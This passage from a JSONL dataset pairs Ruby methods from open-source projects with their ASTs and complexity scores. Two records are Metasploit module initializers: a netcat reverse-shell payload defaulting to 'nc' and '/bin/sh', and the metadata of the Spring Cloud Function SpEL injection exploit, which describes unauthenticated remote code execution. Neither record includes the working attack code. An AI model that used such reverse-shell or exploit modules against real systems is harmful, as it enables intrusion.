$Consumer}\\n\"]}]}]}]}","id":"0a106cd7-aa5d-40c6-9f11-353e9114fe2a"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/controllers/discourse_ai/admin/ai_tools_controller.rb","start_line":22,"raw_source":"def create\n        ai_tool = AiTool.new(ai_tool_params)\n        ai_tool.created_by_id = current_user.id\n\n        if ai_tool.save\n          RagDocumentFragment.link_target_and_uploads(ai_tool, attached_upload_ids)\n          log_ai_tool_creation(ai_tool)\n          render_serialized(ai_tool, AiCustomToolSerializer, status: :created)\n        else\n          render_json_error ai_tool\n        end\n      end","complexity_score":14.5,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ai_tool\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AiTool\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"ai_tool_params\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ai_tool\"]},\"created_by_id=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ai_tool\"]},\"save\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RagDocumentFragment\"]},\"link_target_and_uploads\",{\"type\":\"lvar\",\"children\":[\"ai_tool\"]},{\"type\":\"send\",\"children\":[null,\"attached_upload_ids\"]}]},{\"type\":\"send\",\"children\":[null,\"log_ai_tool_creation\",{\"type\":\"lvar\",\"children\":[\"ai_tool\"]}]},{\"type\":\"send\",\"children\":[null,\"render_serialized\",{\"type\":\"lvar\",\"children\":[\"ai_tool\"]},{\"type\":\"const\",\"children\":[null,\"AiCustomToolSerializer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"created\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"lvar\",\"children\":[\"ai_tool\"]}]}]}]}]}","id":"49a72489-af5c-4d76-8b3a-a9a4184a2b8e"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/comment.rb","start_line":359,"raw_source":"def published_article\n    return unless commentable_type == \"Article\" && !commentable.published\n\n    errors.add(:commentable_id, I18n.t(\"models.comment.published_article\"))\n  end","complexity_score":11.7,"ast_json":"{\"type\":\"def\",\"children\":[\"published_article\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"commentable_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"Article\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"commentable\"]},\"published\"]},\"!\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"commentable_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"models.comment.published_article\"]}]}]}]}]}","id":"79e689cc-4ffa-4901-b80d-56d645626951"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/personal_access_tokens/last_used_service.rb","start_line":54,"raw_source":"def update_timestamp\n      @personal_access_token.update_columns(last_used_at: Time.zone.now)\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update_timestamp\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@personal_access_token\"]},\"update_columns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_used_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]}]}]}]}","id":"961b1ec3-156a-41d0-944f-cf3385574f3b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/async_constraints/postgres_async_constraint_validation.rb","start_line":28,"raw_source":"def constraint_type_exists?\n            connection.column_exists?(table_name, :constraint_type)\n          end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"constraint_type_exists?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"column_exists?\",{\"type\":\"send\",\"children\":[null,\"table_name\"]},{\"type\":\"sym\",\"children\":[\"constraint_type\"]}]}]}","id":"fe29f7c5-9f0a-4387-a727-10426fd80e3b"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/mentions/create_all.rb","start_line":67,"raw_source":"def user_has_comment_notifications?(user)\n      user.notifications.exists?(notifiable_id: notifiable.id, notifiable_type: \"Comment\")\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"user_has_comment_notifications?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"notifications\"]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notifiable_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notifiable\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notifiable_type\"]},{\"type\":\"str\",\"children\":[\"Comment\"]}]}]}]}]}","id":"7582b290-370b-4b6d-b160-36913acf4b51"}
{"repo_name":"haml","file_path":"./repos/haml/lib/haml/parser.rb","start_line":609,"raw_source":"def parse_static_hash(text)\n      attributes = {}\n      return attributes if text.empty?\n\n      text = text[1...-1] # strip brackets\n      scanner = StringScanner.new(text)\n      scanner.scan(/\\s+/)\n      until scanner.eos?\n        return unless (key = scanner.scan(LITERAL_VALUE_REGEX))\n        return unless scanner.scan(/\\s*=>\\s*/)\n        return unless (value = scanner.scan(LITERAL_VALUE_REGEX))\n        return unless scanner.scan(/\\s*(?:,|$)\\s*/)\n        attributes[eval(key).to_s] = eval(value).to_s\n      end\n      attributes\n    end","complexity_score":39.7,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_static_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[-1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"scanner\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringScanner\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"text\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scanner\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s+\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"until\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scanner\"]},\"eos?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scanner\"]},\"scan\",{\"type\":\"const\",\"children\":[null,\"LITERAL_VALUE_REGEX\"]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scanner\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s*=>\\\\s*\"]},{\"type\":\"regopt\",\"children\":[]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scanner\"]},\"scan\",{\"type\":\"const\",\"children\":[null,\"LITERAL_VALUE_REGEX\"]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scanner\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s*(?:,|$)\\\\s*\"]},{\"type\":\"regopt\",\"children\":[]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"eval\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"eval\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},\"to_s\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]}","id":"44e71322-65d1-4766-b0b4-7fdcb88c0cd7"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/account_search_service.rb","start_line":285,"raw_source":"def query_username\n    @query_username ||= split_query_string.first || ''\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"query_username\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@query_username\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"split_query_string\"]},\"first\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"986e0e64-2c4b-478f-b5b3-f0de33191b1b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/cmd/unix/reverse_netcat.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      merge_info(\n        info,\n        'Name' => 'Unix Command Shell, Reverse TCP (via netcat)',\n        'Description' => 'Creates an interactive shell via netcat',\n        'Author' => [\n          'm-1-k-3',\n          'egypt',\n          'juan vazquez'\n        ],\n        'License' => MSF_LICENSE,\n        'Platform' => 'unix',\n        'Arch' => ARCH_CMD,\n        'Handler' => Msf::Handler::ReverseTcp,\n        'Session' => Msf::Sessions::CommandShell,\n        'PayloadType' => 'cmd',\n        'RequiredCmd' => 'netcat',\n        'Payload' => {\n          'Offsets' => {},\n          'Payload' => ''\n        }\n      )\n    )\n    register_advanced_options(\n      [\n        OptString.new('NetcatPath', [true, 'The path to the Netcat executable', 'nc']),\n        OptString.new('ShellPath', [true, 'The path to the shell to execute', '/bin/sh'])\n      ]\n    )\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Unix Command Shell, Reverse TCP (via netcat)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Creates an interactive shell via netcat\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"m-1-k-3\"]},{\"type\":\"str\",\"children\":[\"egypt\"]},{\"type\":\"str\",\"children\":[\"juan vazquez\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Handler\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Handler\"]},\"ReverseTcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Session\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Sessions\"]},\"CommandShell\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiredCmd\"]},{\"type\":\"str\",\"children\":[\"netcat\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offsets\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"NetcatPath\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The path to the Netcat executable\"]},{\"type\":\"str\",\"children\":[\"nc\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"ShellPath\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The path to the shell to execute\"]},{\"type\":\"str\",\"children\":[\"/bin/sh\"]}]}]}]}]}]}]}","id":"56e8c65f-7933-4c58-b9e0-958f21ef61ea"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/buffer.rb","start_line":911,"raw_source":"def statistics\n        stage_size, queue_size = @stage_size_metrics.get, @queue_size_metrics.get\n        buffer_space = 1.0 - ((stage_size + queue_size * 1.0) / @total_limit_size)\n        @stage_length_metrics.set(@stage.size)\n        @queue_length_metrics.set(@queue.size)\n        @available_buffer_space_ratios_metrics.set(buffer_space * 100)\n        @total_queued_size_metrics.set(stage_size + queue_size)\n        stats = {\n          'stage_length' => @stage_length_metrics.get,\n          'stage_byte_size' => stage_size,\n          'queue_length' => @queue_length_metrics.get,\n          'queue_byte_size' => queue_size,\n          'available_buffer_space_ratios' => @available_buffer_space_ratios_metrics.get.round(1),\n          'total_queued_size' => @total_queued_size_metrics.get,\n        }\n\n        tkeys = timekeys\n        if (m = tkeys.min)\n          @oldest_timekey_metrics.set(m)\n          stats['oldest_timekey'] = @oldest_timekey_metrics.get\n        end\n        if (m = tkeys.max)\n          @newest_timekey_metrics.set(m)\n          stats['newest_timekey'] = @newest_timekey_metrics.get\n        end\n\n        { 'buffer' => stats }\n      end","complexity_score":42.8,"ast_json":"{\"type\":\"def\",\"children\":[\"statistics\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stage_size\"]},{\"type\":\"lvasgn\",\"children\":[\"queue_size\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stage_size_metrics\"]},\"get\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@queue_size_metrics\"]},\"get\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"buffer_space\",{\"type\":\"send\",\"children\":[{\"type\":\"float\",\"children\":[1.0]},\"-\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stage_size\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queue_size\"]},\"*\",{\"type\":\"float\",\"children\":[1.0]}]}]}]},\"/\",{\"type\":\"ivar\",\"children\":[\"@total_limit_size\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stage_length_metrics\"]},\"set\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stage\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@queue_length_metrics\"]},\"set\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@queue\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@available_buffer_space_ratios_metrics\"]},\"set\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer_space\"]},\"*\",{\"type\":\"int\",\"children\":[100]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@total_queued_size_metrics\"]},\"set\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stage_size\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"queue_size\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"stats\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"stage_length\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stage_length_metrics\"]},\"get\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"stage_byte_size\"]},{\"type\":\"lvar\",\"children\":[\"stage_size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"queue_length\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@queue_length_metrics\"]},\"get\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"queue_byte_size\"]},{\"type\":\"lvar\",\"children\":[\"queue_size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"available_buffer_space_ratios\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@available_buffer_space_ratios_metrics\"]},\"get\"]},\"round\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"total_queued_size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@total_queued_size_metrics\"]},\"get\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tkeys\",{\"type\":\"send\",\"children\":[null,\"timekeys\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"m\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tkeys\"]},\"min\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@oldest_timekey_metrics\"]},\"set\",{\"type\":\"lvar\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stats\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"oldest_timekey\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@oldest_timekey_metrics\"]},\"get\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"m\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tkeys\"]},\"max\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@newest_timekey_metrics\"]},\"set\",{\"type\":\"lvar\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stats\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"newest_timekey\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@newest_timekey_metrics\"]},\"get\"]}]}]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"buffer\"]},{\"type\":\"lvar\",\"children\":[\"stats\"]}]}]}]}]}","id":"5586ca6c-d56c-4ffe-8b49-076dd9e62795"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/cascading_project_setting_attribute.rb","start_line":139,"raw_source":"def cascaded_ancestor_value(attribute)\n    return unless direct_ancestor_present?\n\n    NamespaceSetting\n      .select(attribute)\n      .joins(\n        \"join unnest(ARRAY[#{namespace_ancestor_ids_joined}]::bigint[]) with ordinality t(namespace_id, ord)\n         USING (namespace_id)\"\n      )\n      .where(\"#{attribute} IS NOT NULL\")\n      .order('t.ord')\n      .limit(1).first&.read_attribute(attribute)\n  end","complexity_score":16.53,"ast_json":"{\"type\":\"def\",\"children\":[\"cascaded_ancestor_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"direct_ancestor_present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NamespaceSetting\"]},\"select\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},\"joins\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"join unnest(ARRAY[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace_ancestor_ids_joined\"]}]},{\"type\":\"str\",\"children\":[\"]::bigint[]) with ordinality t(namespace_id, ord)\\n\"]},{\"type\":\"str\",\"children\":[\"         USING (namespace_id)\"]}]}]},\"where\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"str\",\"children\":[\" IS NOT NULL\"]}]}]},\"order\",{\"type\":\"str\",\"children\":[\"t.ord\"]}]},\"limit\",{\"type\":\"int\",\"children\":[1]}]},\"first\"]},\"read_attribute\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]}]}","id":"c8c43b6b-5b96-4474-8910-6f928e772d8c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/spring_cloud_function_spel_injection.rb","start_line":14,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Spring Cloud Function SpEL Injection',\n        'Description' => %q{\n          Spring Cloud Function versions prior to 3.1.7 and 3.2.3 are vulnerable to remote code execution due to using\n          an unsafe evaluation context with user-provided queries. By crafting a request to the application and setting\n          the spring.cloud.function.routing-expression header, an unauthenticated attacker can gain remote code\n          execution. Both patched and unpatched servers will respond with a 500 server error and a JSON encoded message.\n        },\n        'Author' => [\n          'm09u3r', # vulnerability discovery\n          'hktalent', # github PoC\n          'Spencer McIntyre'\n        ],\n        'References' => [\n          ['CVE', '2022-22963'],\n          ['URL', 'https://github.com/hktalent/spring-spel-0day-poc'],\n          ['URL', 'https://tanzu.vmware.com/security/cve-2022-22963'],\n          ['URL', 'https://attackerkb.com/assessments/cda33728-908a-4394-9bd5-d4126557d225']\n        ],\n        'DisclosureDate' => '2022-03-29',\n        'License' => MSF_LICENSE,\n        'Platform' => ['unix', 'linux'],\n        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n        'Privileged' => false,\n        'Targets' => [\n          [\n            'Unix Command',\n            {\n              'Platform' => 'unix',\n              'Arch' => ARCH_CMD,\n              'Type' => :unix_cmd\n            }\n          ],\n          [\n            'Linux Dropper',\n            {\n              'Platform' => 'linux',\n              'Arch' => [ARCH_X86, ARCH_X64],\n              'Type' => :linux_dropper\n            }\n          ]\n        ],\n        'DefaultTarget' => 1,\n        'DefaultOptions' => {\n          'RPORT' => 8080,\n          'TARGETURI' => '/functionRouter'\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('TARGETURI', [true, 'Base path', '/'])\n    ])\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Spring Cloud Function SpEL Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Spring Cloud Function versions prior to 3.1.7 and 3.2.3 are vulnerable to remote code execution due to using\\n\"]},{\"type\":\"str\",\"children\":[\"          an unsafe evaluation context with user-provided queries. By crafting a request to the application and setting\\n\"]},{\"type\":\"str\",\"children\":[\"          the spring.cloud.function.routing-expression header, an unauthenticated attacker can gain remote code\\n\"]},{\"type\":\"str\",\"children\":[\"          execution. Both patched and unpatched servers will respond with a 500 server error and a JSON encoded message.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"m09u3r\"]},{\"type\":\"str\",\"children\":[\"hktalent\"]},{\"type\":\"str\",\"children\":[\"Spencer McIntyre\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2022-22963\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/hktalent/spring-spel-0day-poc\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://tanzu.vmware.com/security/cve-2022-22963\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://attackerkb.com/assessments/cda33728-908a-4394-9bd5-d4126557d225\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2022-03-29\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unix 